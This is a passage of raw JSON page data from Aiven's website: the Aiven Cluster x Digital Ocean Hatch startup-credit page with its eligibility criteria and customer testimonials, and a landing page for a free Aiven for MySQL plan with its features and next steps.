more."}],"markDefs":[],"style":"normal"}],"title":"Events"},{"_key":"8wfz0aae1fubgu657qko8zo8921o6u8s","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"rdgm30douqsbn0ebupwpc01xva37rqvw","_type":"block","children":[{"_key":"erin55su11jhgiyr19qch7lpallzdo5u","_type":"span","marks":[],"text":"The opportunity to focus on building your business – not your data infrastructure."}],"markDefs":[],"style":"normal"}],"title":"Freedom"}],"itemsPerRow":3,"roundedCorners":"rounded-tl-br","title":"Benefits for selected startups"},{"_key":"fce6dd2f479e","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"left","items":[{"_key":"e1138c90cc28","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"c994ddf25598","_type":"block","children":[{"_key":"bc20c97c66450","_type":"span","marks":[],"text":"Your startup needs to have been founded maximum 7 years ago to be eligible for Cluster."}],"markDefs":[],"style":"normal"}],"title":"Maximum 7 years old","variant":"icon-card"},{"_key":"5049a3321c3637b93ae7283b00f6c19a","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"d60a90cc5d4f","_type":"block","children":[{"_key":"d3c4079e10e60","_type":"span","marks":[],"text":"You will need a product that's live or ready to launch in the next 3-6 months."}],"markDefs":[],"style":"normal"}],"title":"Product live or MVP ready to launch","variant":"icon-card"},{"_key":"b19e8952f2c59fc34f3573b0b4721385","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"ca3d6ca2a487","_type":"block","children":[{"_key":"c42492b91d060","_type":"span","marks":[],"text":"Help us verify that your business it legit by applying to Cluster with your company email."}],"markDefs":[],"style":"normal"}],"title":"Business email address","variant":"icon-card"}],"itemsPerRow":4,"noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven-cluster.typeform.com/AivenClusterxDO","title":"Apply now"},"roundedCorners":"rounded-none","subtitle":[{"_key":"96a62bd7582a","_type":"block","children":[{"_key":"31f20a4a21020","_type":"span","marks":[],"text":"We back early stage startups with a high potential for growth through the Cluster program. Through our partnership with Digital Ocean we are extending an offer to all Hatch participants to join the program and benefit from $10,000. If you match the eligibility criteria, we encourage you to apply to join the program."}],"markDefs":[],"style":"normal"}],"title":"Eligibility Criteria","topOverlap":false},{"_key":"xmwdbkw06f91t93n3y0tr1xuj44of4ih","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"eo32zcxp12y82qjgqsy22b2ofxfxanx5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-29107c2858e1703d824dae21515eaa4bfa75a216-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"a0rqeesjfa4fib7ylnvckl31m9fp76m6","_type":"block","children":[{"_key":"lqikfwy7wd6v29509goh0dl1eigm4d9l","_type":"span","marks":[],"text":"Your startup needs to have been founded maximum 7 years ago to be eligible for Cluster."}],"markDefs":[],"style":"normal"}],"title":"Maximum 7 years old"},{"_key":"zhhdzjyslrqtdzcthb5cdrkopdaul0i3","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"yjxws342g46uru5xhmsp0ead40thlyec","_type":"block","children":[{"_key":"3anbungc7zyloz5d6wvjrtrvxtvi4jt6","_type":"span","marks":[],"text":"You will need a product that's live or ready to launch in the next 3-6 months."}],"markDefs":[],"style":"normal"},{"_key":"rybysfbjxvkpzt0g9wdyhox2uf5tzd04","_type":"block","children":[{"_key":"nbzkkib2z4pkygg5lucgkxf75lk3j7yh","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"title":"Product live or MVP ready to launch "},{"_key":"4jud82coh5ynrh9w01imxlle63jw0kqk","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7gyq3h8j32xvti3i9nzke9ib3a941zn1","_type":"block","children":[{"_key":"49stl8hpes5emte2g4kthzrvkifse29i","_type":"span","marks":[],"text":"Help us verify that your business it legit by applying to Cluster with your company email."}],"markDefs":[],"style":"normal"}],"title":"Business email address"}],"itemsPerRow":3,"noSpaceBottom":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://aiven-cluster.typeform.com/AivenClusterxDO","title":"Apply now"},"roundedCorners":"rounded-none","subtitle":[{"_key":"ikpcvtmpmemfxqjpd3s8zn4utp9u9g9q","_type":"block","children":[{"_key":"qh4m94to1hbgs3jrcw5d0n1wz3exko5c","_type":"span","marks":[],"text":"We back early stage startups with a high potential for growth through the Cluster program. Through our partnership with Digital Ocean we are extending an offer to all Hatch participants to join the program and benefit from $10,000. If you match the eligibility criteria listed below, we encourage you to apply to join the program."}],"markDefs":[],"style":"normal"}],"title":"Eligibility Criteria"},{"_key":"npljmmu7qkqmhsr55pj8ytulzmg4e052","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"What Cluster startups say about Aiven","variant":"centerColumn"},{"_key":"qy3iu2vl4nu9h0muh4tn3espcufyqaam","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"items":[{"_key":"6tvjzf790t4zqaa46q3ebzfd9t6ya2dl","_type":"testimonialItem","content":[{"_key":"5xptrzzlzdxge5gxnwwutptadoeshydf","_type":"block","children":[{"_key":"98bgt4akrfnss6kbipk4bme8hje7mrv7","_type":"span","marks":[],"text":"“The credits we got by joining the Aiven Cluster program helped us to get started very quickly.”"}],"markDefs":[],"style":"normal"}],"jobTitle":"Staff Platform Engineer at Doccla","name":"Matthew Huxtable","ytId":"Ihm0jcx_CK4"}],"noSpaceBottom":false,"noSpaceTop":true,"rounded":false,"roundedCorners":"rounded-none","variant":"media"},{"_key":"mnfwleq9w61ntl7tzp1p38rab2lxd1va","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"isCarousel":false,"items":[{"_key":"2kb1zjub9lkouxi9r69vbwdqhueob7a5","_type":"testimonialItem","content":[{"_key":"nff57iyb7sspuznm6ftde64b2ifmxzqe","_type":"block","children":[{"_key":"s6a2s1xlrbqqiv4wbc6qi4ia2ohcx23h","_type":"span","marks":[],"text":"Infrastructure is the most ignored piece in running a startup. Everything else is very front-facing - you can measure it, see it in action, but the infrastructure is always behind the scenes. So, as long as it's working, people are happy, but when issues arise, it's hard to identify and resolve them."}],"markDefs":[],"style":"normal"},{"_key":"8ce4g87s65ouilyjppdhwxee6fhi8u4q","_type":"block","children":[{"_key":"866grkiq8v5fagb3sk3l4r7jinv2u32s","_type":"span","marks":[],"text":"I think that's a problem that Aiven solves brilliantly."}],"markDefs":[],"style":"normal"},{"_key":"300rpfo44szuwzc3x8cfwmo9caqj8zbf","_type":"block","children":[{"_key":"d36mwmygbg0cy5mpgjehojyu8ppafcz4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.revenuehero.io/","title":"Visit RevenueHero"},"image":{"_type":"mainImage","alt":"Hariharan Ramkumar profile photo","asset":{"_ref":"image-e5e95244810e86477e8960da83f2dfca345d83b6-512x512-png","_type":"reference"}},"jobTitle":"Co-Founder at RevenueHero","name":"Hariharan Ramkumar"},{"_key":"1mc2llcrdkgvzoo8okzsp8ek9x6r6jcb","_type":"testimonialItem","content":[{"_key":"seklkzcygfgq7pm43nabj1e6uaurpx90","_type":"block","children":[{"_key":"3epza0cdodvht9jztt0ch2vnvfocj9y0","_type":"span","marks":[],"text":"Trusting Aiven with our data infrastructure management has freed up our team to focus on building our product, instead of getting bogged down in operational tasks. Looking back, I realize we could have saved valuable time and resources by making the decision to join Cluster earlier."}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://exolyt.com/","title":"Visit Exolyt"},"image":{"_type":"mainImage","asset":{"_ref":"image-43a2f81c83e5fbf2bd39b4822958444f123695b4-800x800-jpg","_type":"reference"}},"jobTitle":"CEO \u0026 Co-Founder at Exolyt","name":"Henri M."},{"_key":"nbnd580ib9appqajycsjp9xox0jhue2g","_type":"testimonialItem","content":[{"_key":"7rxy9ticv9mj82htkg2tdgxk362smmje","_type":"block","children":[{"_key":"1p0ij0td4f20md9o5pe8e7n9voz78its","_type":"span","marks":[],"text":"Joining the Aiven Cluster program gives you room to explore different technologies without committing yourself to any plans or buying it right away. The sponsorship is really helpful to understand what building pieces we can use, and experiment with them before we build them into our final product."}],"markDefs":[],"style":"normal"},{"_key":"2r0kykkhrqakeizdha2vtv0yln9olbm9","_type":"block","children":[{"_key":"dzv1b0aa1uk2gt4j1gsnw3dypnfqx02i","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"ctaLink":{"_type":"link","externalUrl":"https://www.4screen.com/","title":"Visit 4 Screen"},"image":{"_type":"mainImage","asset":{"_ref":"image-e3322220d3f40885f42d29c423005afd16f9e5e2-500x500-png","_type":"reference"}},"jobTitle":"Senior Software Engineer at 4 Screen","name":"Paul Rogalinski-Pinter"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-b","variant":"people"}],"internalTags":[{"_key":"045525aa6170","_ref":"8dba8149-1dd0-4856-baf0-d8f852d7f6bd","_type":"tag"}],"seo":{"_type":"metaData","metaDescription":"Participants in the Digital Ocean Hatch program can join the Aiven Cluster startup program and access $10,000 to build their data infrastructure.","metaImage":{"_type":"mainImage","alt":"Cluster Startup Program Logo","asset":{"_ref":"image-f51de925a03b4b1b4b6726d141798eda2fe7cd7d-1200x628-jpg","_type":"reference"}},"metaTitle":"Aiven Cluster x Digital Ocean Hatch"},"slug":{"_type":"slug","current":"/aiven-cluster-x-digital-ocean"},"title":"Aiven Cluster x Digital Ocean Hatch"} {"__i18n_lang":"en","_createdAt":"2023-03-27T08:08:25Z","_id":"5bf8e320-5f39-4e26-9dc6-aa894cce583c","_rev":"aHjLj1t2WT5YWNgHGa9Pu3","_type":"page","_updatedAt":"2024-04-18T06:20:40Z","content":[{"_key":"223ca2b00cf6","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-7bc46ec70ef3388565f139c02710b80f5a920e00-2880x520-png","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","description":[{"_key":"ffa2ace983b4","_type":"block","children":[{"_key":"ad92fe361f940","_type":"span","marks":[],"text":"Start prototyping, experiment, and spin up your first MySQL database in the cloud at no cost. And if your needs grow, easily scale up to large production environments."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Set up your free MySQL database","variant":"compact"},{"_key":"31c7474b68aedd3d936bad60c231f4f4","_type":"iconList","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"left","iconSize":24,"icons":[{"_key":"d44a01a31054","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-cdc84e8d5201b68f537ddd54c858764684e13b44-24x24-svg","_type":"reference"}},"title":"Temporarily test and prototype during product development"},{"_key":"3d34c27b69f8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"title":"Use it as a small database to store data from another tool"},{"_key":"5ae8aa0912c5","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"title":"Learn more about the basic database concepts, SQL language, and application development"}],"itemsPerRow":2,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/mysql/get-started","title":"See docs"},"subtitle":[{"_key":"634c4ff76aa7","_type":"block","children":[{"_key":"90888692031a0","_type":"span","marks":[],"text":"Aiven’s free MySQL plan is ideal for anyone who is looking to easily get started with MySQL database, whether it's for personal or professional use. It's perfect for small-scale projects, prototypes, and experiments, and provides all the essential features you need to get up and running quickly."}],"markDefs":[],"style":"normal"}],"title":"Who is it for?"},{"_key":"33ecab59b662146e0aca6a20b33ef8c9","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":true,"subtitle":[{"_key":"905c08c8dfba","_type":"block","children":[{"_key":"8da8f600e15a0","_type":"span","marks":[],"text":"With Aiven’s free MySQL plan, you run on your own dedicated virtual machine, with no resource sharing and no “noisy neighbours”. Enjoy premium capabilities such as daily backups, "},{"_key":"5808e59a4cea","_type":"span","marks":["185bdc93d6da"],"text":"Terraform integration"},{"_key":"8fc65da8aaa0","_type":"span","marks":[],"text":", and more. Our easy-to-use and intuitive GUI simplifies database management, but you can also use "},{"_key":"4edcc243ebea","_type":"span","marks":["ff771ce1e19d"],"text":"Aiven’s CLI"},{"_key":"dc196a778758","_type":"span","marks":[],"text":" or Terraform."}],"markDefs":[{"_key":"185bdc93d6da","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"},{"_key":"ff771ce1e19d","_type":"link","href":"https://docs.aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"e68219925506","_type":"table","rows":[{"_key":"f8f26ac5-9295-4a70-9578-545109c68acb","_type":"tableRow","cells":["Feature",""]},{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","1"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1"]},{"_key":"6793f610-5198-453e-b5f9-db2044f56f7b","_type":"tableRow","cells":["Total storage","5 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","Digital Ocean with selected regions available around the world"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Backups for disaster recovery","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"What’s included in your free MySQL database?","variant":"centerColumn"},{"_key":"456211134c38","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"131df512d6ed","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"097a7734afd5","_type":"block","children":[{"_key":"b66bad93b5980","_type":"span","marks":[],"text":"Save time with Aiven’s free plan that covers all the essentials, including virtual machine, backup, and networking costs. No extra charges popping up."}],"markDefs":[],"style":"normal"}],"title":"Covers everything"},{"_key":"c9c8cb165bc704172dcf2311f847673c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1010442c2493","_type":"block","children":[{"_key":"3ca8cb5d981f0","_type":"span","marks":[],"text":"Aiven's dedicated MySQL instances offer maximum security and privacy for your data, consistent performance levels, and the ability to fine-tune for optimal performance."}],"markDefs":[],"style":"normal"}],"title":"Aiven's dedicated MySQL instances"},{"_key":"66dd3c603cf25de370171e0911845bac","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"d4a45eb913a0","_type":"block","children":[{"_key":"e52bc6fe2a270","_type":"span","marks":[],"text":"With access to monitoring and logs, you can identify and resolve issues before they become critical, and gain insight into how your database is performing over time."}],"markDefs":[],"style":"normal"}],"title":"Monitoring and log access"},{"_key":"2c9b8627af5a9d6a9de3b5c716c31909","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"34959747d99f","_type":"block","children":[{"_key":"516867b900fa0","_type":"span","marks":[],"text":"Manage your service using "},{"_key":"516867b900fa1","_type":"span","marks":["d1d78936ec13"],"text":"the Aiven Terraform provider"},{"_key":"516867b900fa2","_type":"span","marks":[],"text":", and automate the provisioning and management of your MySQL database. Easily deploy, manage and scale your database infrastructure with the most popular infrastructure-as-code tool."}],"markDefs":[{"_key":"d1d78936ec13","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform"}],"style":"normal"}],"title":"Terraform integration"},{"_key":"934ff837efcbbb4e3e61953037bdd723","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fcf4d3b185ad","_type":"block","children":[{"_key":"811f2f12d17d0","_type":"span","marks":[],"text":"All Aiven services have "},{"_key":"811f2f12d17d1","_type":"span","marks":["6260b63ffac0"],"text":"certifications"},{"_key":"811f2f12d17d2","_type":"span","marks":[],"text":" like SOC2, ISO27001, PCI-DSS and GDPR. You can also set up easy and secure authentication with SSO."}],"markDefs":[{"_key":"6260b63ffac0","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"}],"title":"Secure and compliant"},{"_key":"aab03b035b93efb3aa98a8de94630af9","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"title":"Backups for disaster recovery"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Benefits of your free Aiven for MySQL service"},{"_key":"370a36220baa","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-17cdd7e1c631dd9f12414bd6433299d3eb972363-2000x361-png","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Go to forum "},"subtitle":[{"_key":"11bdeb99df2b","_type":"block","children":[{"_key":"ce2d4c2ff2d70","_type":"span","marks":[],"text":"Take advantage of our community support forums to ask questions, get advice, and learn from other developers."}],"markDefs":[],"style":"normal"}],"title":"Get support from Aiven Community","variant":"centerColumn"},{"_key":"1a7c45b1c0fa","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","alt":"How to start a free MySQL database","asset":{"_ref":"image-3273fadf1f9fe34fc7c784db2009caf8dedc30d4-1286x722-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start your free plan"},"text":[{"_key":"2a2cece7be56","_type":"block","children":[{"_key":"e143cdb3fd0f0","_type":"span","marks":[],"text":"Ready to take Aiven for MySQL for a spin? Set up your MySQL database in less than 10 minutes. It's easy and quick - simply access our web console or use our API, CLI, or Terraform. Check out "},{"_key":"e143cdb3fd0f1","_type":"span","marks":["2931130b8908"],"text":"our docs"},{"_key":"e143cdb3fd0f2","_type":"span","marks":[],"text":" and sign up with your Github or Google account!"}],"markDefs":[{"_key":"2931130b8908","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/get-started"}],"style":"normal"}],"title":"Create your free Aiven for MySQL service","variant":"mediaRight"},{"_key":"6201a94ec44f4c49c65f9f2ac23447b5","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","subtitle":[{"_key":"f1e689ad2978","_type":"block","children":[{"_key":"dc1724d7210d","_type":"span","marks":[],"text":"Connect to your service via command line ("},{"_key":"03a8e26d724f","_type":"span","marks":["e53369fbf326"],"text":"mysql"},{"_key":"28e8356a506d","_type":"span","marks":[],"text":", "},{"_key":"78a726b97451","_type":"span","marks":["c0b4599d8954"],"text":"mysqlsh"},{"_key":"1eef313392c6","_type":"span","marks":[],"text":", "},{"_key":"95fb2655b476","_type":"span","marks":["ab01475c6e6c"],"text":"Aiven’s command line tool"},{"_key":"27f5b5d724ab","_type":"span","marks":[],"text":") or your application ( "},{"_key":"b1bcd6d81ac4","_type":"span","marks":["77577ccb333e"],"text":"Python"},{"_key":"91c9a116ec6d","_type":"span","marks":[],"text":", "},{"_key":"a426ce9b869c","_type":"span","marks":["ccd889a86a38"],"text":"Java"},{"_key":"cae77e7c13c2","_type":"span","marks":[],"text":", "},{"_key":"554120e0ae68","_type":"span","marks":["be3767f35b5b"],"text":"PHP"},{"_key":"4c9da9b0b561","_type":"span","marks":[],"text":")"}],"level":1,"listItem":"number","markDefs":[{"_key":"e53369fbf326","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/connect-from-cli.html#using-mysql"},{"_key":"c0b4599d8954","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/connect-from-cli.html#using-mysqlsh"},{"_key":"ab01475c6e6c","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/connect-from-cli.html"},{"_key":"77577ccb333e","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/connect-with-python.html"},{"_key":"ccd889a86a38","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/connect-with-java.html"},{"_key":"be3767f35b5b","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/connect-with-php.html"}],"style":"normal"},{"_key":"ecd7b7c9717b","_type":"block","children":[{"_key":"1283dc958b82","_type":"span","marks":[],"text":"Migrate your own database to test it on Aiven platform from an external MySQL with "},{"_key":"7c0123bac47f","_type":"span","marks":["4cdc48481f6e"],"text":"this migration process"},{"_key":"62bedadfc47c","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"number","markDefs":[{"_key":"4cdc48481f6e","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/migrate-from-external-mysql"}],"style":"normal"},{"_key":"220c614acba8","_type":"block","children":[{"_key":"42bd1815afe6","_type":"span","marks":[],"text":"Back up and restore your MySQL data to another storage service by "},{"_key":"506f9a09e161","_type":"span","marks":["2cb3e7572afc"],"text":"using mysqldump"},{"_key":"c62e307243d7","_type":"span","marks":[],"text":" to ensure access to your data in case a failure occurs."}],"level":1,"listItem":"number","markDefs":[{"_key":"2cb3e7572afc","_type":"link","href":"https://docs.aiven.io/docs/products/mysql/howto/migrate-database-mysqldump"}],"style":"normal"}],"title":"Next steps","variant":"oneColumn"},{"_key":"11339c8ad14ea3c6d0de067101786810","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"3ae2570e5a0911d2d59bdadf90291c0c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7987bcd5b858","_type":"block","children":[{"_key":"9af4a8c54ed30","_type":"span","marks":[],"text":"By using MySQL, you can transfer your data seamlessly to other services or platforms with no additional costs or complexity. This also means it's easy to switch to Aiven from another service or platform."}],"markDefs":[],"style":"normal"},{"_key":"6855708c2528","_type":"block","children":[{"_key":"748085c793c80","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Standard Open Source Technology"},{"_key":"962f6ef53b7a47d7f2c79579768dec93","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f031c696b7d1e96077b40dee85d180c60d675137-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"a8bd62c57a74","_type":"block","children":[{"_key":"1f7ba6da581b0","_type":"span","marks":[],"text":"Aiven’s free MySQL hosting is built on the same robust platform that our enterprise customers trust. You can be confident that your database is in good hands, and that it's backed by the same powerful tools and technology that all our customers rely on."}],"markDefs":[],"style":"normal"},{"_key":"8926fe88bce8","_type":"block","children":[{"_key":"98b06a23de780","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Same robust Aiven services"},{"_key":"3d0050b0325d9f6859f6a247fcba2a1b","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9023ef89a29d","_type":"block","children":[{"_key":"445100a35cc50","_type":"span","marks":[],"text":"You can expand your MySQL database with other"},{"_key":"19961811428f","_type":"span","marks":["f0c52c5b4817"],"text":" free services like Aiven for Redis®*"},{"_key":"9505c303bdf5","_type":"span","marks":[],"text":" or "},{"_key":"1d90326027f8","_type":"span","marks":["68f03ba2fb8d"],"text":"Aiven for PostgreSQL®"},{"_key":"51953499c1af","_type":"span","marks":[],"text":". Redis, for instance, can be used as a cache to speed up queries and reduce latency, which can be particularly useful for applications that require real-time data processing or handling large volumes of data."}],"markDefs":[{"_key":"f0c52c5b4817","_type":"internalLink","internalLink":{"_ref":"a1d19d22-7a60-4f15-94a0-3b99a8abf4bc","_type":"reference"}},{"_key":"68f03ba2fb8d","_type":"internalLink","internalLink":{"_ref":"142bd962-060f-4672-9ada-af1a246fc272","_type":"reference"}}],"style":"normal"}],"title":"Add more services"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"title":"Aiven is all about open source"},{"_key":"0b1fbf50828c","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center 